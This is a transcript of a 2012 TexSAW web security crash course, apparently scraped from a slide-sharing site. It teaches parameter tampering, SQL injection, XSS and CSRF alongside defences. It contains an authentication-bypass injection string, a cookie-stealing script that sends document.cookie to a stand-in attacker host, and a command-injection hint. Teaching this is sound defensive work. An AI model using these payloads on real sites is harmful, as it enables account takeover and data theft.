Presentation is loading. Please wait.

Presentation is loading. Please wait.

TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand.

Similar presentations


Presentation on theme: "TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand."— Presentation transcript:

1 TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand

2 Introduction

3 Recommended Tools  Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc.  Knowing Python helps  Very little else is needed, Backtrack Linux is useful for many automated tools

4 What We’re Targeting  Web Applications  Web Pages (HTML, PHP, etc.)  Databases  Goal  Steal data  Gain access to system  Bypass authentication blocks

5 Background

6 Web Servers  Web applications are really just an interface for accessing a web server  Example Web Servers:  Apache  IIS  Nginx  Self-contained servers for one application – Ruby on Rails, Django, Sinatra, node.js, etc.  Some servers like Apache resemble navigating a file system, others use RESTful routing

7 HTTP  HTTP is the means of communication  It is stateless  We get around this by using sessions  Sessions are stored in browser cookies  Side effect – If we steal someone’s cookies, the web server will think we are the same user

8 HTTP Requests  Web traffic involves a Request and a Response  GET and POST are two main request methods  GET is for an action intended to ask the server for information  POST is for an action intended to tell the server to do something  Examples: GET used for showing your profile on a web site, POST used to update your profile information

9 HTTP Request Parameters  Along with the URL and request method, HTTP requests can also carry parameters  GET parameters  Visible from the url:  Can be embedded easily in links  POST parameters are not visible from the URL and not easily embedded in links, however they can easily be altered

10 Example Scenario

11 Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database

12 Example Exchange for a Bank Site Logging In POST POST: login.php Parameters: username, password Redirect to account Auth OK UserWeb Server Database SET UP SESSION

13 Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database

14 Parameter Tampering

15 Tools  TamperData – Extension for Firefox  Can intercept and modify requests  Pretty powerful but can be tedious to use repeatedly  Live HTTP Headers – Extension for Firefox  Good for monitoring and replaying requests  Fast and good as long as replaying traffic works  Burp Suite  Separate program, works through proxy – browser agnostic  Can do just about everything

16 Example Attack POST POST: transfer.php Parameters: to, amount Redirect to account Make changes OK UserWeb Server Database

17 Parameter Tampering  Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them.  They trust that once they send the transaction to PayPal, it will be resolved and they can send the product when the transaction is complete  PayPal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct  If we change the amount we pay to something small, neither party knows and we get the product for nothing

18 DEMO

19 Tips for Securing  Don’t trust requests by themselves!  Many frameworks will sign requests that they send to prevent tampering  Thinking that users can’t alter POST data because they can’t see it in their address bar is just weak security through obscurity

20 SQL Injections

21 Overview  SQL injection is part of a class of attacks in which we abuse poor programming to embed user- controlled data in trusted code run by the server  Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables: $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”;

22 Example Attack POST POST: login.php Lets look at the SQL and the attack... Redirect to account Auth OK UserWeb Server Database

23 Behind the Scenes for login.php  $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”;  Examine the result to see if the user is selected.  Sample normal query after input: SELECT * from users WHERE name=‘user’ AND password=‘password’  Sample attack password: ’ OR ‘1’=‘1  Resulting query: SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’  Always returns true, bypasses authentication

24 Other Types of Attacks  Can add INSERTS, UPDATES, etc. if multiple queries are supported  Blind SQL Injection  Needed when the results of a query are not displayed or even acknowledged  Use side channel attacks – sleep for a certain amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password  sqlmap works wonders to help automate this

25 DEMO

26 Tips for Securing  USE PREPARED STATEMENTS  Don’t plug user input into queries  Don’t escape user tainted queries  SERIOUSLY  USE PREPARED STATEMENTS  THEY’RE NOT EVEN HARD TO USE

27 Cross Site Scripting (XSS)

28 Overview  Basic idea is to exploit the trust that your browser places in the website it’s viewing  Embed malicious code in the webpage and your browser will execute it  Two Types:  Reflected – Client-side. In request parameters or URL. Requires that a user click the malicious link or form.  Stored – Server-side. Embedded in a web page and hits every visitor that views the page.

29 Some Goals  Steal cookies  Since JavaScript can access cookies, you can send the victim’s cookies to yourself: $.get(‘www.badurl.com/?cookie=’ + document.cookie);  Mimic real user behavior  Fill out and submit forms  Open IFRAMEs to maintain access  Redirect to other pages

30 Example Exchange for a Bank Site Viewing Homepage UserWeb Server GET GET: index.php INDEX Database Infect Bad Guy Session

31 DEMO

32 Tips for Securing  Developers  Never, ever allow unauthorized users the ability to embed HTML into your page.  Escape every single bit of user input you get, it’s all dangerous  Users  Use NoScript or similar plugin  Don’t click a link with a bunch of JavaScript in the URL

33 Cross Site Request Forgery (CSRF)

34 Overview  Exploit the trust that the web server places in the victim’s browser  It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused  Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS

35 Example Exchange for a Bank Site Transferring Some Money POST POST: transfer.php Parameters: to=BAD GUY, Redirect to account Make changes OK User Web Server Database Bad Guy

36 Ways to Trigger  An image:  XSS: $.get(‘./profile.php’, function(data) { // evil });

37 DEMO

38 Tips for Securing  Only trust requests from your site  Use CSRF-protection tokens – one time tokens for forms – included in most web frameworks  Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers  Not much you can do as a user

39 General Tips

40 Look at Requests!  Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc.  Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you

41 Inject Everything  If you think it’s using your data in SQL, try some SQL injection  If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like &&  If you think it’s running HTML, throw in some JavaScript

42 Situational Awareness  Pay close attention to what kind of web server you’re dealing with  Some web servers or web frameworks are more susceptible than others to certain attacks  For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much  Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input

43 JavaScript – It does a lot  If you have jQuery on your website, use it!  You can issue requests and parse the results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page)  It gives you tools for shorter JavaScript payloads, especially handy when space is critical  Pretty much anything on the user’s end can be scripted and altered

44 Any questions?

45 That’s all, CTF Time!  Presented by Scott Hand (utdallas.edu/~shand)


Download ppt "TEXSAW 2012 WEB SECURITY CRASH COURSE TexSAW 2012 Scott Hand."

Similar presentations


Ads by Google